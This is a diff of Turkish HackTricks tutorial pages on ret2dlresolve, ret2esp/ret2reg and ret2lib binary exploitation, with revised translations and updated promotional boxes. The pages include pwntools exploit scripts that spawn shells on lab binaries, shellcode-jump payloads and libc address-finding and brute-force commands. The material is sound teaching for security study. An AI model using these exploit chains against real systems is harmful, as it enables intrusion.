gerektirir ve **bu parametreleri doğrudan ayarlamak için gerekli olan gadget'ları bulmak mümkün olmayabilir**. +Genellikle bu durumlar [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) ile de savunmasız olabilir, ancak bazen doğrudan libc içinde bulduğunuz gadget'larla kolayca kontrol edilemeyen daha fazla parametreyi kontrol etmeniz gerekebilir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bu parametreleri doğrudan ayarlayacak gadget'ları bulmak mümkün olmayabilir**. diff --git a/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 26230b663..4ae623fd7 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -1,31 +1,32 @@ # Ret2dlresolve +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler -[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) ve [**Relro**](../common-binary-protections-and-bypasses/relro.md) sayfasında açıklandığı gibi, Full Relro olmayan ikili dosyalar sembolleri (harici kütüphanelere adresler gibi) ilk kez kullanıldıklarında çözerler. Bu çözümleme, **`_dl_runtime_resolve`** işlevini çağırarak gerçekleşir. +[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) ve [**Relro**](../common-binary-protections-and-bypasses/relro.md) sayfasında açıklandığı gibi, Full Relro olmayan ikili dosyalar, sembolleri (harici kütüphanelere adresler gibi) ilk kez kullandıklarında çözerler. Bu çözümleme, **`_dl_runtime_resolve`** işlevini çağırarak gerçekleşir. -**`_dl_runtime_resolve`** işlevi, belirtilen sembolü **çözebilmek** için gereken bazı yapıların referanslarını yığından alır. +**`_dl_runtime_resolve`** işlevi, belirtilen sembolü **çözmek** için gereken bazı yapıların referanslarını yığından alır. -Bu nedenle, dinamik bağlantılı sembolü çözmek için tüm bu yapıların **sahte oluşturulması** mümkündür (örneğin **`system`** işlevi gibi) ve yapılandırılmış bir parametre ile çağrılabilir (örneğin **`system('/bin/sh')`**). +Bu nedenle, istenen sembolü (örneğin **`system`** işlevi) çözmek ve yapılandırılmış bir parametreyle (örneğin **`system('/bin/sh')`**) çağırmak için tüm bu yapıların **sahte oluşturulması mümkündür**. -Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yaparak başlangıç ROP zinciri oluşturularak sahte edilir, ardından yapılar ve dize **`'/bin/sh'`** okunarak bilinen bir konumda depolanır ve ardından ROP zinciri, **`_dl_runtime_resolve`**'ı çağırarak devam eder, sahte yapılar içinde **`system`** adresini çözer ve bu adresi **`'/bin/sh'`** adresiyle çağırır. +Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde `read` çağrısı yaparak başlangıç ROP zinciri oluşturularak sahte yapılar ve dize **`'/bin/sh'`** okunarak bilinen bir konumda depolanır ve ardından ROP zinciri, **`_dl_runtime_resolve`**'ı çağırarak devam eder, sahte yapılar içinde **`system`** adresini çözer ve bu adresi **`'/bin/sh'`** adresiyle çağırır. {% hint style="success" %} -Bu teknik özellikle sistem çağrı cihazları olmadığında (örneğin [**ret2syscall**](rop-syscall-execv/) veya [SROP](srop-sigreturn-oriented-programming/) gibi teknikleri kullanmak için) ve libc adreslerini sızdıracak yollar olmadığında kullanışlıdır. +Bu teknik özellikle sistem çağrıları için (örneğin [**ret2syscall**](rop-syscall-execv/) veya [SROP](srop-sigreturn-oriented-programming/) gibi teknikleri kullanmak için sistem çağrısı cihazları yoksa ve libc adreslerini sızdırmak için yollar yoksa) yararlıdır. {% endhint %} Bu tekniğin güzel bir açıklaması için bu videoya bakın: @@ -41,11 +42,11 @@ Veya adım adım açıklama için bu sayfalara bakın: 1. Sahte yapıları bir yere yazın 2. System'in ilk argümanını ayarlayın (`$rdi = &'/bin/sh'`) -3. Yığında yapıları çağırmak için adresleri ayarlayın **`_dl_runtime_resolve`** +3. Yığında, **`_dl_runtime_resolve`**'ı çağırmak için yapıların adreslerini ayarlayın 4. **`_dl_runtime_resolve`**'ı **çağırın** 5. **`system`**, argüman olarak `'/bin/sh'` ile çözülecek ve çağrılacaktır -[**pwntools belgelerinden**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) bu şekilde bir **`ret2dlresolve`** saldırısı görünür. +[**pwntools belgelerinden**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), bir **`ret2dlresolve`** saldırısının nasıl göründüğü: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) @@ -69,7 +70,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) ### Saf Pwntools -Bu teknikle ilgili bir [**örneği burada**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **son ROP zincirinin çok iyi bir açıklamasını içeren** bulabilirsiniz, ancak kullanılan son saldırı şu şekildedir: +Bu teknik örneğinin [**burada**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **son ROP zincirinin çok iyi bir açıklamasını içerdiğini** bulabilirsiniz, ancak kullanılan son saldırı şu şekildedir: ```python from pwn import * @@ -199,4 +200,19 @@ target.interactive() * [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) * [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) * [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html) -* 32bit, relro yok, canary yok, nx, pie yok, temel küçük buffer overflow ve return. Sömürmek için bof, `read`'i tekrar `.bss` bölümü ve daha büyük bir boyutta çağırmak için kullanılır, `dlresolve` sahte tabloları yüklemek için `system`'ı yüklemek, ana dönüş ve başlangıçtaki bof'u tekrar kötüye kullanmak için dlresolve'u çağırmak ve ardından `system('/bin/sh')`'ı çağırmak için kullanılır. +* 32 bit, relro olmayan, canary olmayan, nx, pie olmayan, temel küçük buffer overflow ve return. Sömürmek için bof, `read`'i bir kez daha çağırmak için kullanılır, `.bss` bölümü ve daha büyük bir boyutta, oraya `dlresolve` sahte tablolarını yüklemek için, `system`'i yüklemek için ana dönüş ve başlangıçtaki bof'u tekrar kötüye kullanmak için dlresolve'u çağırmak ve ardından `system('/bin/sh')`'i çağırmak için. + +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks'i Destekleyin + +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. + +
+{% endhint %} diff --git a/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 846791d61..50be582ae 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -1,26 +1,27 @@ # Ret2esp / Ret2reg +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## **Ret2esp** -**Çünkü ESP (Yığın İşaretçisi) her zaman yığının en üstüne işaret eder**, bu teknik, EIP'yi (Komut İşaretçisi) bir **`jmp esp`** veya **`call esp`** komutunun adresiyle değiştirerek ilgilidir. Bunu yaparak, shellcode, üzerine yazılan EIP'nin hemen ardına yerleştirilir. `ret` komutu çalıştığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un depolandığı yer. +**ESP (Yığın İşaretçisi) her zaman yığının en üstüne işaret ettiği için**, bu teknik, EIP'yi (Komut İşaretçisi) bir **`jmp esp`** veya **`call esp`** komutunun adresiyle değiştirerek çalışır. Bunu yaparak, shellcode, üzerine yazılan EIP'nin hemen ardına yerleştirilir. `ret` komutu çalıştığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un depolandığı yer. -Eğer **Adres Alanı Düzeni Rastgeleleştirme (ASLR)** Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` komutlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) etkinse, bu komutları bulmak için muhtemelen savunmasız programın kendisine bakmanız gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/) karşısında başarılı olmanız gerekebilir). +Eğer Windows veya Linux'ta **Adres Alanı Düzeni Rastgeleleştirme (ASLR)** etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` komutlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) etkinse, bu komutları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/) engelini aşmanız gerekebilir). -Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığının ortasına değil, işlevin işlemi sırasında yürütülen herhangi bir `push` veya `pop` komutunun shellcode ile etkileşime girmesini önler. Bu tür bir etkileşim, shellcode yığının işlevin ortasına yerleştirilmiş olsaydı meydana gelebilirdi. +Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığının ortasına değil, EIP'nin üzerine yerleştirmek, işlevin çalışması sırasında gerçekleşen herhangi bir `push` veya `pop` komutunun shellcode ile etkileşime girmesini önler. Bu etkileşim, shellcode yığının ortasına yerleştirilmiş olsaydı meydana gelebilirdi. ### Yetersiz alan @@ -29,11 +30,9 @@ Eğer RIP üzerine yazdıktan sonra yazacak alanınız yoksa (belki sadece birka sub rsp, 0x30 jmp rsp ``` -Ve kabuğu erken yığın üzerine yazın. - ### Örnek -Bu teknik örneğini [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) adresinde bulabilirsiniz ve son saldırı şu şekildedir: +Bu teknikle ilgili bir örnek [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) adresinde bulunabilir ve son saldırı şu şekildedir: ```python from pwn import * @@ -53,7 +52,7 @@ pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` -Bu teknikle ilgili başka bir örneği [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html) adresinde görebilirsiniz. NX etkin olmayan bir taşma durumu var, `$esp` adresini azaltmak için bir araç kullanıldı ve ardından bir `jmp esp;` ile kabuk koduna atlandı: +Başka bir örneğini bu teknikte görebilirsiniz [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). NX etkin olmayan bir taşma durumu var, `$esp` adresini azaltmak için bir araç kullanıldı ve ardından bir `jmp esp;` ile kabuk koduna atlandı: ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -104,7 +103,7 @@ Bazı örnekleri burada bulabilirsiniz: ### Ret2sp -ARM64'te **SP kaydına atlamaya izin veren** komutlar yoktur. **Sp'yi bir kayda taşıyıp ardından o kayda atlamayı sağlayan** bir aygıt bulunabilir, ancak benim kali libc'mde böyle bir aygıt bulamadım: +ARM64'te **SP kaydına atlamaya izin veren** komutlar yoktur. **Sp'yi bir kayda taşıyıp ardından o kayda atlamayı sağlayan bir aygıt** bulunabilir, ancak benim kali libc'mde böyle bir aygıt bulamadım: ```bash for i in `seq 1 30`; do ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; @@ -112,13 +111,13 @@ done ``` {% endcode %} -Keşfettiğim tek şey, sp'nin kopyalandığı kayıt değerini değiştirecek ve ardından ona atlamadan önce (bu nedenle işe yaramaz hale gelecektir): +Sadece keşfettiğim tek şey, sp'nin kopyalandığı kaydın değerini değiştirecek ve ardından ona atlamak (bu nedenle işe yaramaz hale gelecektir):
### Ret2reg -Bir kaydın ilginç bir adresi varsa, uygun talimatı bulmak yeterli olacaktır. Şöyle bir şey kullanabilirsiniz: +Eğer bir kayıt ilginç bir adres içeriyorsa, uygun talimatı bulmak yeterli olacaktır. Şöyle bir şey kullanabilirsiniz: {% code overflow="wrap" %} ```bash @@ -153,15 +152,15 @@ do_stuff(2) return 0; } ``` -Fonksiyonun ayrıştırmasını kontrol etmek, **taşma ve kullanıcı tarafından kontrol edilen** **tamponun adresinin `x0`'da saklandığını** görmek mümkündür: +Fonksiyonun ayrıştırmasını kontrol etmek, **tamponun adresinin** (bof'a duyarlı ve **kullanıcı tarafından kontrol edilen**) **tampon taşmasından dönmek önce `x0`'da saklandığını** görmek mümkündür:
-Ayrıca **`do_stuff`** fonksiyonunda **`br x0`** adlı araca rastlamak mümkündür: +Ayrıca **`do_stuff`** fonksiyonunda **`br x0`** cihazını bulmak mümkündür:
-Binary **PIE OLMADAN derlendiği** için bu araca atlamak için bu aracı kullanacağız. Bir desen kullanarak **taşma ofsetinin 80 olduğu** görülebilir, bu nedenle saldırı şu şekilde olacaktır: +**PIE OLMADAN derlendiği** için, bu cihazı kullanacağız. Desen kullanarak **tampon taşmasının ofsetinin 80 olduğu** görülebilir, bu yüzden saldırı şöyle olacaktır: ```python from pwn import * @@ -177,29 +176,31 @@ p.sendline(payload) p.interactive() ``` {% hint style="warning" %} -Eğer `fgets` yerine **`read`** gibi bir şey kullanılsaydı, PIE'yi atlamak sadece return adresinin son 2 byte'ını üzerine yazarak `br x0;` komutuna dönüş yaparak mümkün olurdu, tam adresi bilmeye gerek kalmadan. `fgets` ile çalışmaz çünkü **sona bir null (0x00) byte ekler**. +Eğer `fgets` yerine **`read`** gibi bir şey kullanılsaydı, `br x0;` komutuna geri dönmek için **dönüş adresinin sadece son 2 byte'ını üzerine yazarak PIE'yi atlayabilir** ve tam adresi bilmeye gerek kalmazdı.\ +`fgets` ile çalışmaz çünkü **sona bir null (0x00) byte ekler**. {% endhint %} ## Korumalar -* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Stack çalıştırılamazsa, kabuk kodunu stack'e yerleştirmemiz ve çalıştırmamız gerektiği için bu işe yaramaz. -* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu komutlar, esp veya başka bir kayda atlamak için bir komut bulmayı zorlaştırabilir. +* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Yığın yürütülemezse, kabuk kodunu yığına yerleştirmemiz ve yürütmek için atlamamız gerektiği için bu işe yaramaz. +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu komut, esp veya başka bir kayda atlanacak bir komut bulmayı zorlaştırabilir. ## Referanslar * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking hilelerinizi paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index 15bc75c78..27ae467ec 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -1,31 +1,32 @@ # Ret2lib +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'ı Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## **Temel Bilgiler** -**Ret2Libc**'nin özü, zayıf bir programın yürütme akışını, saldırgan tarafından sağlanan shellcode'un yığında yürütülmesi yerine, paylaşılan bir kütüphane içindeki bir işlevine yönlendirmektir (örneğin, **system**, **execve**, **strcpy**). Saldırgan, geri dönüş adresini değiştiren bir yük oluşturur ve yığında istenen kütüphane işlevine işaret edecek şekilde ayarlar, aynı zamanda çağrı konvansiyonuna göre gerekli argümanların da doğru şekilde ayarlanmasını sağlar. +**Ret2Libc**'nin özü, zayıf bir programın yürütme akışını, saldırgan tarafından sağlanan shellcode'ın yığında yürütülmesi yerine, paylaşılan bir kütüphane içindeki bir işlevine yönlendirmektir (örneğin, **system**, **execve**, **strcpy**). Saldırgan, geri dönüş adresini değiştiren bir yük oluşturur ve yığında istenen kütüphane işlevine işaret ederken, aynı zamanda çağrı konvansiyonuna göre doğru şekilde ayarlanmış herhangi gerekli argümanın da olmasını sağlar. ### **Örnek Adımlar (basitleştirilmiş)** -* Çağrılacak işlevin adresini alın (örneğin, system) ve çağrılacak komutu alın (örneğin, /bin/sh) +* Çağrılacak işlevin adresini alın (örneğin, system) ve çağrılacak komutu (örneğin, /bin/sh) * İlk argümanı komut dizinine işaret edecek şekilde ve yürütme akışını işleve geçirecek şekilde ROP zinciri oluşturun ## Adresleri Bulma -* Kullanılan `libc`'nin mevcut makineden olduğunu varsayarsak, nerede bellekte yükleneceğini aşağıdaki komutla bulabilirsiniz: +* Kullanılan `libc`'nin mevcut makineden olanın nerede bellekte yükleneceğini aşağıdaki komutla bulabilirsiniz: {% code overflow="wrap" %} ```bash @@ -33,7 +34,7 @@ ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change eve ``` {% endcode %} -Eğer ASLR'nin libc adresini değiştirip değiştirmediğini kontrol etmek istiyorsanız şunu yapabilirsiniz: +Eğer ASLR'ın libc adresini değiştirip değiştirmediğini kontrol etmek istiyorsanız şunu yapabilirsiniz: ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` @@ -47,7 +48,7 @@ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` ### gdb-peda / GEF Kullanımı -Kullanılan libc bilindiğinde, Peda veya GEF kullanılarak **system** fonksiyonunun, **exit** fonksiyonunun ve **`/bin/sh`** dizesinin adresini elde etmek de mümkündür: +Kullanılan libc bilindiğinde, **system** fonksiyonunun, **exit** fonksiyonunun ve **`/bin/sh`** dizesinin adresini almak için Peda veya GEF kullanmak da mümkündür: ```bash p system p exit @@ -55,23 +56,23 @@ find "/bin/sh" ``` ### /proc/\/maps Kullanımı -Eğer işlem her konuştuğunuzda (ağ sunucusu) **çocuklar** oluşturuyorsa, o dosyayı **okumaya** çalışın (muhtemelen root olmanız gerekecektir). +Eğer işlem her seferinde sizinle iletişim kurduğunda (**network server**), o dosyayı **okumaya** çalışın (muhtemelen root olmanız gerekecektir). Burada işlem içinde **libc'nin tam olarak nerede yüklendiğini** ve işlemin her çocuğu için **nerede yükleneceğini** bulabilirsiniz. ![](<../../../.gitbook/assets/image (853).png>) -Bu durumda **0xb75dc000** adresine yüklendi (Bu libc'nin taban adresi olacaktır) +Bu durumda **0xb75dc000** adresine yüklendi (Bu, libc'nin taban adresi olacaktır) ## Bilinmeyen libc -Binary'nin yüklediği libc'yi **bilmediğiniz olabilir** (çünkü erişiminiz olmayan bir sunucuda olabilir). Bu durumda zafiyeti **sızdırmak için kullanabilir ve hangi libc** kütüphanesinin kullanıldığını bulabilirsiniz: +Binary'nin yüklediği libc'yi **bilmediğiniz** olabilir (çünkü erişiminiz olmayan bir sunucuda olabilir). Bu durumda, zafiyeti **bazı adresleri sızdırarak ve hangi libc** kütüphanesinin kullanıldığını bulabilirsiniz: {% content-ref url="rop-leaking-libc-address/" %} [rop-leaking-libc-address](rop-leaking-libc-address/) {% endcontent-ref %} -Ve bunun için bir pwntools şablonunu bulabilirsiniz: +Ve bunun için bir pwntools şablonunu şurada bulabilirsiniz: {% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %} [rop-leaking-libc-template.md](rop-leaking-libc-address/rop-leaking-libc-template.md) @@ -81,19 +82,19 @@ Ve bunun için bir pwntools şablonunu bulabilirsiniz: [https://libc.blukat.me/](https://libc.blukat.me/) sayfasını kontrol edin ve libc içindeki fonksiyonların **bir çift adresini** kullanarak **kullanılan sürümü** bulun. -## 32 bit ASLR'yi Atlatma +## 32 bit ASLR'yi atlatma -Bu brute-force saldırıları **yalnızca 32 bit sistemler için** kullanışlıdır. +Bu kaba kuvvet saldırıları **yalnızca 32 bit sistemler** için kullanışlıdır. -* Saldırı yerel ise, libc'nin taban adresini brute-force etmeyi deneyebilirsiniz (32 bit sistemler için kullanışlıdır): +* Saldırı yerel ise, libc'nin taban adresini kaba kuvvetle deneyebilirsiniz (32 bit sistemler için kullanışlıdır): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -* Uzak bir sunucuyu hedef alıyorsanız, `libc` fonksiyonu `usleep`'in adresini **10** (örneğin) argümanı olarak geçerek **brute-force** yöntemini deneyebilirsiniz. Eğer sunucu **cevap vermek için 10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir. +* Uzak bir sunucuyu hedef alıyorsanız, `libc` fonksiyonu `usleep`'in adresini **10** (örneğin) argümanı olarak geçerek **brute-force** yöntemini deneyebilirsiniz. Eğer sunucu cevap vermek için **10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir. ## Tek Gadget -`libc` içinde **belirli bir adrese** sadece atlayarak bir kabuk çalıştırın: +Yalnızca **bir** belirli **adrese** atlayarak bir kabuk çalıştırın libc içinde: 